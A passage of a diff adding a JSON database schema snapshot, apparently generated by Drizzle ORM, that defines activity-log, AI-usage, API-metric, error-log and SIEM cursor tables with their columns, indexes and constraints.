+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "display_preferences_user_type_idx": {
+ "name": "display_preferences_user_type_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "preferenceType",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "display_preferences_userId_users_id_fk": {
+ "name": "display_preferences_userId_users_id_fk",
+ "tableFrom": "display_preferences",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.activity_logs": {
+ "name": "activity_logs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "actorEmail": {
+ "name": "actorEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'legacy@unknown'"
+ },
+ "actorDisplayName": {
+ "name": "actorDisplayName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isAiGenerated": {
+ "name": "isAiGenerated",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "aiProvider": {
+ "name": "aiProvider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiModel": {
+ "name": "aiModel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiConversationId": {
+ "name": "aiConversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "operation": {
+ "name": "operation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resourceType": {
+ "name": "resourceType",
+ "type": "activity_resource",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resourceId": {
+ "name": "resourceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resourceTitle": {
+ "name": "resourceTitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentSnapshot": {
+ "name": "contentSnapshot",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentFormat": {
+ "name": "contentFormat",
+ "type": "content_format",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentRef": {
+ "name": "contentRef",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentSize": {
+ "name": "contentSize",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackFromActivityId": {
+ "name": "rollbackFromActivityId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackSourceOperation": {
+ "name": "rollbackSourceOperation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackSourceTimestamp": {
+ "name": "rollbackSourceTimestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackSourceTitle": {
+ "name": "rollbackSourceTitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updatedFields": {
+ "name": "updatedFields",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previousValues": {
+ "name": "previousValues",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "newValues": {
+ "name": "newValues",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "streamId": {
+ "name": "streamId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "streamSeq": {
+ "name": "streamSeq",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupId": {
+ "name": "changeGroupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupType": {
+ "name": "changeGroupType",
+ "type": "activity_change_group_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stateHashBefore": {
+ "name": "stateHashBefore",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stateHashAfter": {
+ "name": "stateHashAfter",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dataCategory": {
+ "name": "dataCategory",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "legalBasis": {
+ "name": "legalBasis",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "retentionPolicy": {
+ "name": "retentionPolicy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "recipients": {
+ "name": "recipients",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isArchived": {
+ "name": "isArchived",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "chainSeq": {
+ "name": "chainSeq",
+ "type": "bigserial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "previousLogHash": {
+ "name": "previousLogHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "logHash": {
+ "name": "logHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "chainSeed": {
+ "name": "chainSeed",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_activity_logs_timestamp": {
+ "name": "idx_activity_logs_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_user_timestamp": {
+ "name": "idx_activity_logs_user_timestamp",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_drive_timestamp": {
+ "name": "idx_activity_logs_drive_timestamp",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_page_timestamp": {
+ "name": "idx_activity_logs_page_timestamp",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_archived": {
+ "name": "idx_activity_logs_archived",
+ "columns": [
+ {
+ "expression": "isArchived",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_rollback_from": {
+ "name": "idx_activity_logs_rollback_from",
+ "columns": [
+ {
+ "expression": "rollbackFromActivityId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_stream": {
+ "name": "idx_activity_logs_stream",
+ "columns": [
+ {
+ "expression": "streamId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "streamSeq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"activity_logs\".\"streamId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_change_group": {
+ "name": "idx_activity_logs_change_group",
+ "columns": [
+ {
+ "expression": "changeGroupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"activity_logs\".\"changeGroupId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_log_hash": {
+ "name": "idx_activity_logs_log_hash",
+ "columns": [
+ {
+ "expression": "logHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"activity_logs\".\"logHash\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_activity_logs_chain_seq": {
+ "name": "idx_activity_logs_chain_seq",
+ "columns": [
+ {
+ "expression": "chainSeq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "activity_logs_userId_users_id_fk": {
+ "name": "activity_logs_userId_users_id_fk",
+ "tableFrom": "activity_logs",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "activity_logs_driveId_drives_id_fk": {
+ "name": "activity_logs_driveId_drives_id_fk",
+ "tableFrom": "activity_logs",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "activity_logs_pageId_pages_id_fk": {
+ "name": "activity_logs_pageId_pages_id_fk",
+ "tableFrom": "activity_logs",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "activity_logs_content_size_limit": {
+ "name": "activity_logs_content_size_limit",
+ "value": "\"activity_logs\".\"contentRef\" IS NOT NULL OR \"activity_logs\".\"contentSize\" IS NULL OR \"activity_logs\".\"contentSize\" <= 1048576"
+ },
+ "activity_logs_stream_pair": {
+ "name": "activity_logs_stream_pair",
+ "value": "(\"activity_logs\".\"streamId\" IS NULL) = (\"activity_logs\".\"streamSeq\" IS NULL)"
+ },
+ "activity_logs_change_group_pair": {
+ "name": "activity_logs_change_group_pair",
+ "value": "(\"activity_logs\".\"changeGroupId\" IS NULL) = (\"activity_logs\".\"changeGroupType\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.ai_usage_logs": {
+ "name": "ai_usage_logs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider": {
+ "name": "provider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "model": {
+ "name": "model",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "input_tokens": {
+ "name": "input_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "output_tokens": {
+ "name": "output_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "total_tokens": {
+ "name": "total_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cost": {
+ "name": "cost",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "currency": {
+ "name": "currency",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'USD'"
+ },
+ "duration": {
+ "name": "duration",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "streaming_duration": {
+ "name": "streaming_duration",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "conversation_id": {
+ "name": "conversation_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "message_id": {
+ "name": "message_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "success": {
+ "name": "success",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": true
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "wallet_id": {
+ "name": "wallet_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "automation_ref": {
+ "name": "automation_ref",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "unattributed_at": {
+ "name": "unattributed_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "key_source": {
+ "name": "key_source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'managed'"
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "context_messages": {
+ "name": "context_messages",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "context_size": {
+ "name": "context_size",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "system_prompt_tokens": {
+ "name": "system_prompt_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "tool_definition_tokens": {
+ "name": "tool_definition_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "conversation_tokens": {
+ "name": "conversation_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "message_count": {
+ "name": "message_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "was_truncated": {
+ "name": "was_truncated",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "truncation_strategy": {
+ "name": "truncation_strategy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reconcile_status": {
+ "name": "reconcile_status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reconcile_attempts": {
+ "name": "reconcile_attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "reconciled_at": {
+ "name": "reconciled_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_ai_usage_timestamp": {
+ "name": "idx_ai_usage_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_user_id": {
+ "name": "idx_ai_usage_user_id",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_user_source": {
+ "name": "idx_ai_usage_user_source",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "source",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_provider": {
+ "name": "idx_ai_usage_provider",
+ "columns": [
+ {
+ "expression": "provider",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "model",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_cost": {
+ "name": "idx_ai_usage_cost",
+ "columns": [
+ {
+ "expression": "cost",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_conversation": {
+ "name": "idx_ai_usage_conversation",
+ "columns": [
+ {
+ "expression": "conversation_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_context": {
+ "name": "idx_ai_usage_context",
+ "columns": [
+ {
+ "expression": "conversation_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_context_size": {
+ "name": "idx_ai_usage_context_size",
+ "columns": [
+ {
+ "expression": "context_size",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_expires_at": {
+ "name": "idx_ai_usage_expires_at",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_reconcile": {
+ "name": "idx_ai_usage_reconcile",
+ "columns": [
+ {
+ "expression": "reconcile_status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "reconcile_status = 'pending'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_ai_usage_unattributed": {
+ "name": "idx_ai_usage_unattributed",
+ "columns": [
+ {
+ "expression": "unattributed_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "unattributed_at IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.api_metrics": {
+ "name": "api_metrics",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "method": {
+ "name": "method",
+ "type": "http_method",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status_code": {
+ "name": "status_code",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "duration": {
+ "name": "duration",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "request_size": {
+ "name": "request_size",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "response_size": {
+ "name": "response_size",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip": {
+ "name": "ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "request_id": {
+ "name": "request_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cache_hit": {
+ "name": "cache_hit",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "cache_key": {
+ "name": "cache_key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_api_metrics_timestamp": {
+ "name": "idx_api_metrics_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_api_metrics_endpoint": {
+ "name": "idx_api_metrics_endpoint",
+ "columns": [
+ {
+ "expression": "endpoint",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_api_metrics_user_id": {
+ "name": "idx_api_metrics_user_id",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_api_metrics_status": {
+ "name": "idx_api_metrics_status",
+ "columns": [
+ {
+ "expression": "status_code",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_api_metrics_duration": {
+ "name": "idx_api_metrics_duration",
+ "columns": [
+ {
+ "expression": "duration",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.error_logs": {
+ "name": "error_logs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stack": {
+ "name": "stack",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "request_id": {
+ "name": "request_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "method": {
+ "name": "method",
+ "type": "http_method",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "file": {
+ "name": "file",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "line": {
+ "name": "line",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "column": {
+ "name": "column",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip": {
+ "name": "ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resolved": {
+ "name": "resolved",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "resolved_at": {
+ "name": "resolved_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resolved_by": {
+ "name": "resolved_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resolution": {
+ "name": "resolution",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_errors_timestamp": {
+ "name": "idx_errors_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_errors_name": {
+ "name": "idx_errors_name",
+ "columns": [
+ {
+ "expression": "name",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_errors_user_id": {
+ "name": "idx_errors_user_id",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_errors_resolved": {
+ "name": "idx_errors_resolved",
+ "columns": [
+ {
+ "expression": "resolved",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_errors_endpoint": {
+ "name": "idx_errors_endpoint",
+ "columns": [
+ {
+ "expression": "endpoint",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.error_resolutions": {
+ "name": "error_resolutions",
+ "schema": "",
+ "columns": {
+ "error_id": {
+ "name": "error_id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "resolved": {
+ "name": "resolved",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "resolved_at": {
+ "name": "resolved_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "resolved_by": {
+ "name": "resolved_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resolution": {
+ "name": "resolution",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.siem_delivery_cursors": {
+ "name": "siem_delivery_cursors",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "lastDeliveredId": {
+ "name": "lastDeliveredId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastDeliveredAt": {
+ "name": "lastDeliveredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastErrorAt": {
+ "name": "lastErrorAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
